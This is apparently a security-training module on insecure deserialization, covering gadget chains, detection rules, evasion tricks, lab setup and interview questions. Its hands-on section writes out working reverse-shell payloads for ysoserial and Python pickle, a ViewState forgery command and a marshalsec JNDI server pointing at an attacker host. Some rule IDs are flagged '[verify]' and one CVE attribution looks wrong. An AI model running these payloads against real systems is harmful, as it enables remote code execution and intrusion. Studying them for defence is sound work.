Insecure Deserialization
Insecure deserialization is when an application takes a byte stream and rebuilds an in-memory object graph from it without verifying the stream’s content. The stream can carry executable code — a readObject()-triggered “gadget chain” that runs at deserialization time. CVE-2015-4852 (Apache Commons Collections) was the original Java gadget chain that brought down WebLogic, JBoss, WebSphere, and Jenkins in 2015; CVE-2017-9805 was the Struts REST plugin; CVE-2021-44228 (Log4Shell) was technically a JNDI lookup gadget chain triggered through deserialization-adjacent sink. Python pickle and .NET BinaryFormatter are equally exploitable.
The Core Concept
Section titled “The Core Concept”A serialized object stream encodes a type tree. The deserializer walks the stream, instantiates classes by name, and calls methods on those classes. If any of the classes have side effects in their constructor, readObject, readResolve, or equals/hashCode methods, an attacker who can submit a crafted stream gets those side effects to run with the application’s privileges.
Attacker submits: (base64-encoded serialized object) │ │ POST /api/data HTTP/1.1 │ Cookie: session=rO0ABXNyABN... ▼ App calls ObjectInputStream.readObject(stream) │ │ Stream contains class names + field values │ Deserializer: Class.forName(name) │ → invokes default constructor / readObject ▼ "Gadget" class's readObject() is reached: │ e.g. InvokerTransformer.transform(...) │ → Runtime.exec(cmd) via reflection chain ▼ Command executes in app JVM / .NET runtime / Python interpreterA “gadget chain” is a sequence of classes where the deserializer’s call into one class’s readObject eventually reaches a dangerous sink (Runtime.getRuntime().exec, Class.forName, JNDI lookup, ProcessBuilder). ysoserial, ysoserial.net, and marshalsec are gadget-chain generators with ~50 known chains across popular Java libraries.
How It Works
Section titled “How It Works”- Identify the sink — Java (
ObjectInputStream.readObject), .NET (BinaryFormatter.Deserialize,LosFormatter,NetDataContractSerializer), Python (pickle.loads,yaml.load,marshal.loads), PHP (unserialize), Ruby (Marshal.load). - Find a reachable gadget — for Java: ysoserial’s
CommonsCollections1-7,CommonsBeanutils1,Groovy1,Spring1,Jdk7u21. For .NET:ysoserial.netActivitySurrogateSelector,TextFormattingRunProperties,WindowsIdentity. For Python: a__reduce__method on a class returning(os.system, ("cmd",))is a complete gadget. - Craft the payload — generate the byte stream, base64-encode (or whatever encoding the transport uses), deliver it through the sink. Cookie values, view-state parameters, RMI/JMX endpoints, JNDI lookups, JMS messages.
- Trigger deserialization — the application reads the cookie/param/file and calls the deserializer. The chain fires.
- Bypass mitigations — Java’s JEP 290 (serialization filter) lets you
ObjectInputFilterblock classes by name. Bypass: find a gadget that starts from a class on the allowlist, then calls into the actual gadget. There are published bypasses for several JEP 290 configs.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
Java ysoserial CommonsCollections1-7 | InvokerTransformer → ChainedTransformer → Runtime.exec | Easy — InvokerTransformer class name in stream |
Java CommonsBeanutils1 | BeanComparator + PriorityQueue, no commons-collections needed | Medium — fewer signatures |
| Java JNDI injection | InitialContext.lookup("ldap://attacker/Evil") → remote classload | Medium — depends on com.sun.jndi.ldap.object.trustURLCodebase |
.NET BinaryFormatter | ysoserial.net ActivitySurrogateSelector gadget | Easy — BinaryFormatter is deprecated in .NET 5+ |
| .NET ViewState | __VIEWSTATE parameter → gadget via LosFormatter | Medium — needs machineKey to forge valid MAC |
Python pickle | __reduce__ returns (os.system, ("cmd",)) | Easy — __reduce__ is the entire gadget |
Ruby Marshal.load | ERB::Compiler gadget via Marshal | Medium — obscure |
PHP unserialize | __wakeup / __destruct magic methods | Easy — known PHP class signatures |
| RMI registry bind | Send a Remote object whose stub contains a gadget | Medium — default JDK RMI ports |
Hands-On Commands
Section titled “Hands-On Commands”# Generate a Java ysoserial payload — CommonsCollections6, reverse shell via Runtime.execjava -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}' \ | base64 -w0 > payload.b64# Then send payload.b64 in the vulnerable parameter / cookie
# Generate a Python pickle payload with __reduce__python3 -c "import pickle, os, base64class P: def __reduce__(self): return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"',))print(base64.b64encode(pickle.dumps(P())).decode())" > payload.b64
# .NET ysoserial.net — ViewState gadget with forged machineKeyysoserial.exe -p ViewState -g TextFormattingRunProperties \ -c "calc.exe" --path=/default.aspx --apppath=/ --validationalg=SHA1 \ --validationkey=VALIDATIONKEY
# Java JNDI injection via marshalsec — start a malicious LDAP serverjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshasec.jndi.LDAPRefServer "http://attacker:8080/Exploit"# Then payload: ysoserial generates payload that triggers InitialContext.lookup("ldap://attacker:1389/Evil")
# Detect sink in sourcegrep -rEnE '(?:ObjectInputStream|readObject|BinaryFormatter\.Deserialize|pickle\.loads|yaml\.load\b)' src/
# Inspect a Java serialized stream — magic bytes are 0xaced0005 (base64 rO0AB...)echo "rO0ABXNyAB..." | base64 -d | xxd | head# 00000000: aced 0005 7372 0017 ... ← aced 0005 = Java serialization magic
# nuclei deserialization templatesnuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags deserializationDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — Java serialized object detection is rule 932100 family (RCE patterns) when rO0AB appears in a request. CRS does not have dedicated deserialization rules; the assumption is that serialized object data should not be in user input at all. Notable:
- 932100 — RCE — catches the base64 magic bytes
rO0ABXif they appear unencoded - 920220 — Content-Type policy — block
application/x-java-serialized-object - 932110 — RCE — Windows command injection
- 932115 — RCE — Unix command injection
Suricata SID 2221031 — Java serialized object magic bytes in HTTP traffic [verify].
Sysmon Event ID 1 — ProcessCreate of cmd.exe / bash from java (JVM) parent — the canonical Java deserialization detection. Combined with Event ID 22 (DNS) for JNDI ldap:// callbacks.
MITRE ATT&CK T1190 — Exploit Public-Facing Application.
MITRE ATT&CK T1059 — Command and Scripting Interpreter (the chain execs a shell).
MITRE ATT&CK T1106 — Native API (deserialization chains often call Runtime.exec directly).
Wazuh rule 920/31100 — Java serialized object magic in HTTP request [verify].
Wazuh rule 87105 — Process spawned by Java JVM (parent java → child cmd/bash/powershell) [verify].
Evasion Techniques
Section titled “Evasion Techniques”JEP 290 filter bypass. JEP 290 lets you set ObjectInputFilter that allowlists classes by pattern. If the allowlist permits java.util.*, an attacker crafts a gadget starting from java.util.PriorityQueue (allowed) that then chains into org.apache.commons.collections.Transformer (not allowed at top, but reached through Comparator). Defense: deep-class allowlist + use ObjectInputFilter.rejectOuterClass semantics. Most real-world filters are too permissive.
RASP bypass. Java RASP tools (Contrast, OpenRASP) hook Runtime.exec and ProcessBuilder.start. Bypass via JNDI — the deserialization chain calls InitialContext.lookup("ldap://...") which loads a remote class, and the remote class’s static initializer runs in a context that the RASP may not hook (the classloader path). Defense: hook classloader too, or block outbound LDAP from the JVM.
Pickle “trusted reduce” bypass. Python pickle allows find_class overrides; some apps allowlist module names. Bypass: use a class in an allowed module whose constructor calls into a dangerous function. Example: subprocess.Popen is in subprocess module; allowlist that doesn’t include subprocess.Popen but does include subprocess.check_output can still be tricked.
Custom serializers. Many frameworks use custom serializers (Kryo, Hessian, Jackson with polymorphic types). Each has its own gadget chain research. Hessian gadgets (CVE-2020-1938 - Hessian deserialization in Spring Hessian2) bypass Jackson’s DefaultTyping checks. Defense: disable polymorphic typing.
| Evasion | Bypasses | Defense |
|---|---|---|
| JEP 290 deep-class bypass | Shallow class allowlist | Deep object-graph filtering (white-list every class in the chain) |
| JNDI instead of Runtime.exec | RASP hooks on Runtime.exec | Block outbound LDAP/RMI from JVM network |
__reduce__ returning allowed callable | find_class allowlist | Allowlist by full (module, qualname) tuple |
| Hessian / Kryo custom stream | Jackson DefaultTyping checks | Disable polymorphic typing for custom serializers |
| Encoded stream (base64/gzip) | Magic-bytes-only detectors | Decode before detecting |
⚠️ What caught me: A Java app had JEP 290 filter allowing
java.util.*,java.lang.*,com.company.model.*. I spent hours tryingPriorityQueue-based chains but kept hitting the filter at the second hop. The bypass:com.company.model.Userwas on the allowlist AND had areadObjectthat calledClass.forName(userSpecifiedClass).newInstance()for some legacy “user-type extensibility” feature. The allowlist was defending against the gadget libraries — but the app’s own class was a clean gadget, and it was allowlisted by design. Lesson: an allowlist of class names is only as strong as the safety of every class on it.readObjectof any allowlisted class is a potential gadget.
Lab Practice
Section titled “Lab Practice”Container: OWASP WebGoat deserialization lesson, plus the nickcano/deserlab standalone Java target.
docker run --rm -p 8080:8080 -p 9090:9090 webgoat/goatandwolf# Or, dedicated Java deserialization lab:docker run --rm -p 8080:8080 -e DJANGO_DEBUG=1 nickcano/deserlabObjective: identify a deserialization sink in WebGoat’s “Insecure Deserialization” stage; craft a CommonsCollections6 payload that fires whoami and prove RCE by capturing the output via the application’s error response.
Expected flag format: flag{java_deserialization_cc6_rce_confirmed}.
Detection that should fire: Sysmon Event ID 1 with java.exe parent → cmd.exe child. ModSecurity rule 932100 family if rO0ABX is in the raw request. Wazuh rule 87105 process-tree correlation.
Interview Questions
Section titled “Interview Questions”Conceptual: why is deserialization called a “gadget chain” attack rather than a “code injection” attack? What is the conceptual difference?
Technical: walk through the Java CommonsCollections6 chain from ObjectInputStream.readObject to Runtime.getRuntime().exec. What is the role of PriorityQueue?
Scenario: a Java app uses JEP 290 with ObjectInputFilter rejecting all classes not matching java.util.* and com.app.model.*. Can you still exploit insecure deserialization? Describe a bypass or explain why not.
Why is Python’s pickle fundamentally insecure by design while json.load is not? What property of the pickle format makes __reduce__ a code-execution primitive?
Compare .NET BinaryFormatter (deprecated in .NET 5) with DataContractSerializer. Why did Microsoft deprecate BinaryFormatter and what makes DataContractSerializer safer?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W17 (API Security) · B5 (Buffer Overflow)